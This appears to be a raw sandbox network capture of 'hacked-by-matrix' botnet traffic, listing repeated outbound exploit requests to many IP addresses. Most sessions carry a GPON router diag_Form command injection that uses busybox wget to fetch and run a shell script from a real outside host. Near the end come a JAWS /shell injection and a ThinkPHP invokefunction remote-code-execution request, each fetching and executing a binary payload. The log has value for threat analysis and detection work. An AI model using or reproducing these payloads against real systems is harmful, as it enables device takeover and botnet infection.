XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.13	37072	42.249.197.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598450899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.13	57926	118.23.70.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598469973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.13	36064	42.17.147.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598476887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.13	32768	212.64.118.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598483086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.13	57264	118.234.70.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598522902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.13	33384	109.119.99.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598531961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.13	44006	5.212.173.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598561049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.13	58900	5.255.178.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598568916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.13	41084	118.129.236.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598603010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.13	51416	42.160.45.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598607063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.13	59636	109.116.33.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598643064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.13	43568	42.234.90.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598670006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.13	42188	212.225.134.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598674059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.13	53720	118.91.70.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598674059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.13	58814	109.161.31.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598750114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.13	60296	212.48.56.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598751068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.13	34920	42.23.129.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598751068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.13	38736	212.138.18.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598761082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.13	45638	109.248.141.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.598788023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.13	37854	136.183.8.217	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.781846046 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:41.885946035 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:22:41 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Mar 21, 2024 05:22:42.190962076 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:22:41 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.13	41772	95.179.237.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.864456892 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:42.022780895 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:41 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
